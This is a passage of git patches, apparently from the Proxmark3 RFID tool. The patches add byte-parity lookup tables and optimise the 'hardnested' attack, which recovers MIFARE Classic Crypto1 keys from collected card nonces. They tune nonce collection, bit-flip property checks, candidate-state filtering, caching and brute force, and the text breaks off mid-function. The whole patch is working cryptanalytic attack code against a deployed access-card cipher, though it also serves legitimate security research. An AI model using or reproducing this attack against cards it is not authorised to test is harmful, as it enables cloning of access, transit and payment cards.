00000000..b783b1e9 --- /dev/null +++ b/common/parity.c @@ -0,0 +1,49 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// parity functions +//----------------------------------------------------------------------------- + +#include + +const uint8_t OddByteParity[256] = { + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 +}; + +const uint8_t EvenByteParity[256] = { + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0 +}; + + diff --git a/common/parity.h b/common/parity.h new file mode 100644 index 00000000..6adfdb30 --- /dev/null +++ b/common/parity.h @@ -0,0 +1,38 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Generic CRC calculation code. +//----------------------------------------------------------------------------- + +#ifndef __PARITY_H +#define __PARITY_H + +#include + +extern const uint8_t OddByteParity[256]; + +static inline uint8_t oddparity8(uint8_t bt) +{ + return OddByteParity[bt]; +} + + +extern const uint8_t EvenByteParity[256]; + +static inline uint8_t evenparity8(const uint8_t bt) +{ + return EvenByteParity[bt]; +} + + +static inline uint32_t evenparity32(uint32_t x) +{ + x ^= x >> 16; + x ^= x >> 8; + return EvenByteParity[x & 0xff]; +} + + +#endif /* __PARITY_H */ From 84bac24de920ef2b66fad00cb9d9eea163d3245c Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Thu, 24 Dec 2015 15:25:55 +0100 Subject: [PATCH 10/12] implementing hf mf hardnested - tuning for speed - fix: Bit Flip property was not available when selecting first byte - add: take into account bit flip property for first byte --- client/cmdhfmfhard.c | 349 +++++++++++++++++++++---------------- client/nonce2key/crapto1.c | 16 +- client/nonce2key/crapto1.h | 9 + common/parity.h | 19 +- 4 files changed, 233 insertions(+), 160 deletions(-) diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index a6a551ff..78a461c7 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -30,7 +30,7 @@ // uint32_t test_state_even = 0; #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull -#define GOOD_BYTES_REQUIRED 60 +#define GOOD_BYTES_REQUIRED 20 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K @@ -83,6 +83,7 @@ typedef struct noncelist { float Sum8_prob; bool updated; noncelistentry_t *first; + float score1, score2; } noncelist_t; @@ -266,6 +267,33 @@ static float sum_probability(uint16_t K, uint16_t n, uint16_t k) } + + +static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff) +{ + static const uint_fast8_t common_bits_LUT[256] = { + 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0 + }; + + return common_bits_LUT[bytes_diff]; +} + + static void Tests() { printf("Tests: Partial Statelist sizes\n"); @@ -397,11 +425,18 @@ static void Tests() printf("\nTests: Best %d first bytes:\n", MAX_BEST_BYTES); for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { uint8_t best_byte = best_first_bytes[i]; - uint16_t best_num = nonces[best_byte].num; - uint16_t best_sum = nonces[best_byte].Sum; - uint16_t best_sum8 = nonces[best_byte].Sum8_guess; - float confidence = nonces[best_byte].Sum8_prob; - printf("#%03d Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%\n", i, best_byte, best_num, best_sum, best_sum8, confidence*100); + printf("#%03d Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%, Bitflip: %c%c\n", + //printf("#%03d Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%, Bitflip: %c%c, score1: %f, score2: %f\n", + i, best_byte, + nonces[best_byte].num, + nonces[best_byte].Sum, + nonces[best_byte].Sum8_guess, + nonces[best_byte].Sum8_prob * 100, + nonces[best_byte].BitFlip[ODD_STATE]?'o':' ', + nonces[best_byte].BitFlip[EVEN_STATE]?'e':' ' + //nonces[best_byte].score1, + //nonces[best_byte].score2 + ); } // printf("\nTests: parity performance\n"); @@ -419,18 +454,7 @@ static void Tests() // } // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC); -} - -static int common_bits(uint8_t byte1, uint8_t byte2) -{ - uint8_t common_bits = byte1 ^ byte2; - uint8_t j = 0; - while ((common_bits & 0x01) == 0 && j < 8) { - j++; - common_bits >>= 1; - } - return j; } @@ -485,12 +509,13 @@ static void sort_best_first_bytes(void) if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) { bitflip_prob = 0.09375; } + nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob; if (p_K[sum8] * bitflip_prob <= min_p_K) { min_p_K = p_K[sum8] * bitflip_prob; - best_first_byte = i; } } + // use number of commmon bits as a tie breaker uint16_t max_common_bits = 0; for (uint16_t i = 0; i < num_good_nonces; i++) { @@ -501,8 +526,9 @@ static void sort_best_first_bytes(void) if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) { uint16_t sum_common_bits = 0; for (uint16_t j = 0; j < num_good_nonces; j++) { - sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]); + sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]); } + nonces[best_first_bytes[i]].score2 = sum_common_bits; if (sum_common_bits > max_common_bits) { max_common_bits = sum_common_bits; best_first_byte = i; @@ -510,7 +536,7 @@ static void sort_best_first_bytes(void) } } - // swap best possible first bytes to the pole position + // swap best possible first byte to the pole position uint16_t temp = best_first_bytes[0]; best_first_bytes[0] = best_first_bytes[best_first_byte]; best_first_bytes[best_first_byte] = temp; @@ -596,12 +622,36 @@ static int read_nonce_file(void) } +static void Check_for_FilterFlipProperties(void) +{ + printf("Checking for Filter Flip Properties...\n"); + + for (uint16_t i = 0; i < 256; i++) { + nonces[i].BitFlip[ODD_STATE] = false; + nonces[i].BitFlip[EVEN_STATE] = false; + } + + for (uint16_t i = 0; i < 256; i++) { + uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte + uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped + uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped + + if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits + nonces[i].BitFlip[ODD_STATE] = true; + } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits + nonces[i].BitFlip[EVEN_STATE] = true; + } + } +} + + static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) { clock_t time1 = clock(); bool initialize = true; bool field_off = false; bool finished = false; + bool filter_flip_checked = false; uint32_t flags = 0; uint8_t write_buf[9]; uint32_t total_num_nonces = 0; @@ -673,6 +723,10 @@ static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ if (first_byte_num == 256 ) { // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); + if (!filter_flip_checked) { + Check_for_FilterFlipProperties(); + filter_flip_checked = true; + } num_good_first_bytes = estimate_second_byte_sum(); if (total_num_nonces > next_fivehundred) { next_fivehundred = (total_num_nonces/500+1) * 500; @@ -784,73 +838,68 @@ static void init_BitFlip_statelist(void) statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1)); } - -static void add_state(statelist_t *sl, uint32_t state, odd_even_t odd_even) -{ - uint32_t *p; - p = sl->states[odd_even]; - p += sl->len[odd_even]; - *p = state; - sl->len[odd_even]++; -} - - -static uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even) +static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even) { uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index if (p == NULL) return NULL; - while ((*p & mask) < (state & mask)) p++; + while (*p < (state & mask)) p++; if (*p == 0xffffffff) return NULL; // reached end of list, no match if ((*p & mask) == (state & mask)) return p; // found a match. return NULL; // no match } -static bool remaining_bits_match(uint8_t num_common_bits, uint8_t byte1, uint8_t byte2, uint32_t state1, uint32_t state2, odd_even_t odd_even) +static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit) { - uint8_t j = num_common_bits; - if (odd_even == ODD_STATE) { - j |= 0x01; // consider the next odd bit + uint_fast8_t j_1_bit_mask = 0x01 << (bit-1); + uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit + uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function + uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit; + uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13 + uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits + return !all_diff; +} + + +static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit) +{ + uint_fast8_t j_bit_mask = 0x01 << bit; + uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit + uint_fast8_t mask_y13_y16 = 0x48 >> state_bit; + uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16 + uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits + return all_diff; +} + + +static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even) +{ + if (odd_even) { + // odd bits + switch (num_common_bits) { + case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true; + case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false; + case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true; + case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false; + case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true; + case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false; + case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true; + case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false; + } } else { - j = (j+1) & 0xfe; // consider the next even bit + // even bits + switch (num_common_bits) { + case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false; + case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true; + case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false; + case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true; + case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false; + case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true; + case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false; + } } - - while (j <= 7) { - if (j != num_common_bits) { // this is not the first differing bit, we need first to check if the invariant still holds - uint32_t bit_diff = ((byte1 ^ byte2) << (17-j)) & 0x00010000; // difference of (j-1)th bit -> bit 16 - uint32_t filter_diff = filter(state1 >> (4-j/2)) ^ filter(state2 >> (4-j/2)); // difference in filter function -> bit 0 - uint32_t mask_y12_y13 = 0x000000c0 >> (j/2); - uint32_t state_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13 -> bits 6/7 ... 3/4 - uint32_t all_diff = parity(bit_diff | state_diff | filter_diff); // use parity function to XOR all 4 bits - if (all_diff) { // invariant doesn't hold any more. Accept this state. - // if ((odd_even == ODD_STATE && state1 == test_state_odd) - // || (odd_even == EVEN_STATE && state1 == test_state_even)) { - // printf("remaining_bits_match(): %s test state: Invariant doesn't hold. Bytes = %02x, %02x, Common Bits=%d, Testing Bit %d, State1=0x%08x, State2=0x%08x\n", - // odd_even==ODD_STATE?"odd":"even", byte1, byte2, num_common_bits, j, state1, state2); - // } - return true; - } - } - // check for validity of state candidate - uint32_t bit_diff = ((byte1 ^ byte2) << (16-j)) & 0x00010000; // difference of jth bit -> bit 16 - uint32_t mask_y13_y16 = 0x00000048 >> (j/2); - uint32_t state_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16 -> bits 3/6 ... 0/3 - uint32_t all_diff = parity(bit_diff | state_diff); // use parity function to XOR all 3 bits - if (all_diff) { // not a valid state - // if ((odd_even == ODD_STATE && state1 == test_state_odd) - // || (odd_even == EVEN_STATE && state1 == test_state_even)) { - // printf("remaining_bits_match(): %s test state: Invalid state. Bytes = %02x, %02x, Common Bits=%d, Testing Bit %d, State1=0x%08x, State2=0x%08x\n", - // odd_even==ODD_STATE?"odd":"even", byte1, byte2, num_common_bits, j, state1, state2); - // printf(" byte1^byte2: 0x%02x, bit_diff: 0x%08x, state_diff: 0x%08x, all_diff: 0x%08x\n", - // byte1^byte2, bit_diff, state_diff, all_diff); - // } - return false; - } - // continue checking for the next bit - j += 2; - } return true; // valid state } @@ -860,25 +909,13 @@ static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even) { for (uint16_t i = 1; i < num_good_first_bytes; i++) { uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess; - uint8_t j = 0; // number of common bits - uint8_t common_bits = best_first_bytes[0] ^ best_first_bytes[i]; + uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i]; + uint_fast8_t j = common_bits(bytes_diff); uint32_t mask = 0xfffffff0; if (odd_even == ODD_STATE) { - while ((common_bits & 0x01) == 0 && j < 8) { - j++; - common_bits >>= 1; - if (j % 2 == 0) { // the odd bits - mask >>= 1; - } - } + mask >>= j/2; } else { - while ((common_bits & 0x01) == 0 && j < 8) { - j++; - common_bits >>= 1; - if (j % 2 == 1) { // the even bits - mask >>= 1; - } - } + mask >>= (j+1)/2; } mask &= 0x000fffff; //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8); @@ -891,7 +928,7 @@ static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even) uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even); if (p != NULL) { while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) { - if (remaining_bits_match(j, best_first_bytes[0], best_first_bytes[i], state, (state&0x00fffff0) | *p, odd_even)) { + if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) { found_match = true; // if ((odd_even == ODD_STATE && state == test_state_odd) // || (odd_even == EVEN_STATE && state == test_state_even)) { @@ -936,25 +973,13 @@ static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even) { for (uint16_t i = 0; i < 256; i++) { if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) { - uint8_t j = 0; // number of common bits - uint8_t common_bits = best_first_bytes[0] ^ i; + uint_fast8_t bytes_diff = best_first_bytes[0] ^ i; + uint_fast8_t j = common_bits(bytes_diff); uint32_t mask = 0xfffffff0; if (odd_even == ODD_STATE) { - while ((common_bits & 0x01) == 0 && j < 8) { - j++; - common_bits >>= 1; - if (j % 2 == 0) { // the odd bits - mask >>= 1; - } - } + mask >>= j/2; } else { - while ((common_bits & 0x01) == 0 && j < 8) { - j++; - common_bits >>= 1; - if (j % 2 == 1) { // the even bits - mask >>= 1; - } - } + mask >>= (j+1)/2; } mask &= 0x000fffff; //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8); @@ -962,7 +987,7 @@ static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even) uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0); if (p != NULL) { while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) { - if (remaining_bits_match(j, best_first_bytes[0], i, state, (state&0x00fffff0) | *p, odd_even)) { + if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) { found_match = true; // if ((odd_even == ODD_STATE && state == test_state_odd) // || (odd_even == EVEN_STATE && state == test_state_even)) { @@ -1001,27 +1026,54 @@ static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even) } -#define INVALID_BIT (1<<30) -#define SET_INVALID(pstate) (*(pstate) |= INVALID_BIT) -#define IS_INVALID(state) (state & INVALID_BIT) +static struct sl_cache_entry { + uint32_t *sl; + uint32_t len; + } sl_cache[17][17][2]; + +static void init_statelist_cache(void) +{ + + for (uint16_t i = 0; i < 17; i+=2) { + for (uint16_t j = 0; j < 17; j+=2) { + for (uint16_t k = 0; k < 2; k++) { + sl_cache[i][j][k].sl = NULL; + sl_cache[i][j][k].len = 0; + } + } + } +} + + static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even) { uint32_t worstcase_size = 1<<20; + + // check cache for existing results + if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) { + candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl; + candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len; + return 0; + } candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); if (candidates->states[odd_even] == NULL) { PrintAndLog("Out of memory error.\n"); return 4; } + uint32_t *add_p = candidates->states[odd_even]; for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) { uint32_t search_mask = 0x000ffff0; uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even); if (p2 != NULL) { while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) { - if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) { - if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) { - add_state(candidates, (*p1 << 4) | *p2, odd_even); + if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0)) + || !nonces[best_first_bytes[0]].BitFlip[odd_even]) { + if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) { + if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) { + *add_p++ = (*p1 << 4) | *p2; + } } } p2++; @@ -1029,13 +1081,15 @@ static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, ui } } - // set end of list marker - uint32_t *p = candidates->states[odd_even]; - p += candidates->len[odd_even]; - *p = 0xffffffff; + // set end of list marker and len + *add_p = 0xffffffff; + candidates->len[odd_even] = add_p - candidates->states[odd_even]; candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even]; + sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even]; + return 0; } @@ -1104,7 +1158,7 @@ static void TestIfKeyExists(uint64_t key) crypto1_destroy(pcs); } - + static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) { printf("Generating crypto1 state candidates... \n"); @@ -1121,6 +1175,8 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) } printf("Number of possible keys with Sum(a0) = %d: %lld (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0)); + init_statelist_cache(); + for (uint16_t p = 0; p <= 16; p += 2) { for (uint16_t q = 0; q <= 16; q += 2) { if (p*(16-q) + (16-p)*q == sum_a0) { @@ -1130,10 +1186,30 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) for (uint16_t s = 0; s <= 16; s += 2) { if (r*(16-s) + (16-r)*s == sum_a8) { current_candidates = add_more_candidates(current_candidates); - add_matching_states(current_candidates, p, r, ODD_STATE); - printf("Odd state candidates: %d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2)); - add_matching_states(current_candidates, q, s, EVEN_STATE); - printf("Even state candidates: %d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2)); + // check for the smallest partial statelist. Try this first - it might give 0 candidates + // and eliminate the need to calculate the other part + if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE]) + < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) { + add_matching_states(current_candidates, p, r, ODD_STATE); + if(current_candidates->len[ODD_STATE]) { + add_matching_states(current_candidates, q, s, EVEN_STATE); + } else { + current_candidates->len[EVEN_STATE] = 0; + uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t)); + *p = 0xffffffff; + } + } else { + add_matching_states(current_candidates, q, s, EVEN_STATE); + if(current_candidates->len[EVEN_STATE]) { + add_matching_states(current_candidates, p, r, ODD_STATE); + } else { + current_candidates->len[ODD_STATE] = 0; + uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t)); + *p = 0xffffffff; + } + } + printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2)); + printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2)); } } } @@ -1151,29 +1227,6 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) } -static void Check_for_FilterFlipProperties(void) -{ - printf("Checking for Filter Flip Properties...\n"); - - for (uint16_t i = 0; i < 256; i++) { - nonces[i].BitFlip[ODD_STATE] = false; - nonces[i].BitFlip[EVEN_STATE] = false; - } - - for (uint16_t i = 0; i < 256; i++) { - uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte - uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped - uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped - - if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits - nonces[i].BitFlip[ODD_STATE] = true; - } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits - nonces[i].BitFlip[EVEN_STATE] = true; - } - } -} - - static void brute_force(void) { if (known_target_key != -1) { @@ -1217,6 +1270,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc if (read_nonce_file() != 0) { return 3; } + Check_for_FilterFlipProperties(); num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED); } else { // acquire nonces. uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); @@ -1225,7 +1279,6 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc } } - Check_for_FilterFlipProperties(); Tests(); @@ -1244,8 +1297,10 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc // best_first_bytes[9] ); PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes); + time_t start_time = clock(); generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); - + PrintAndLog("Time for generating key candidates list: %1.0f seconds", (float)(clock() - start_time)/CLOCKS_PER_SEC); + brute_force(); return 0; diff --git a/client/nonce2key/crapto1.c b/client/nonce2key/crapto1.c index 1015e27a..c3fe91d7 100644 --- a/client/nonce2key/crapto1.c +++ b/client/nonce2key/crapto1.c @@ -21,14 +21,20 @@ #include #if !defined LOWMEM && defined __GNUC__ -static uint8_t filterlut[1 << 20]; +uint8_t filterlut[1 << 20]; static void __attribute__((constructor)) fill_lut() { - uint32_t i; - for(i = 0; i < 1 << 20; ++i) - filterlut[i] = filter(i); + uint32_t x; + uint32_t f; + for(x = 0; x < 1 << 20; ++x) { + f = 0xf22c0 >> (x & 0xf) & 16; + f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; + f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; + f |= 0x1e458 >> (x >> 12 & 0xf) & 2; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + filterlut[x] = BIT(0xEC57E80A, f); + } } -#define filter(x) (filterlut[(x) & 0xfffff]) #endif diff --git a/client/nonce2key/crapto1.h b/client/nonce2key/crapto1.h index f6653124..7f834528 100644 --- a/client/nonce2key/crapto1.h +++ b/client/nonce2key/crapto1.h @@ -80,6 +80,12 @@ static inline int parity(uint32_t x) return x; #endif } + +#if !defined LOWMEM && defined __GNUC__ +extern uint8_t filterlut[1 << 20]; +#define filter(x) (filterlut[(x) & 0xfffff]) +#define filter_unsafe(x) (filterlut[x]) +#else static inline int filter(uint32_t const x) { uint32_t f; @@ -91,6 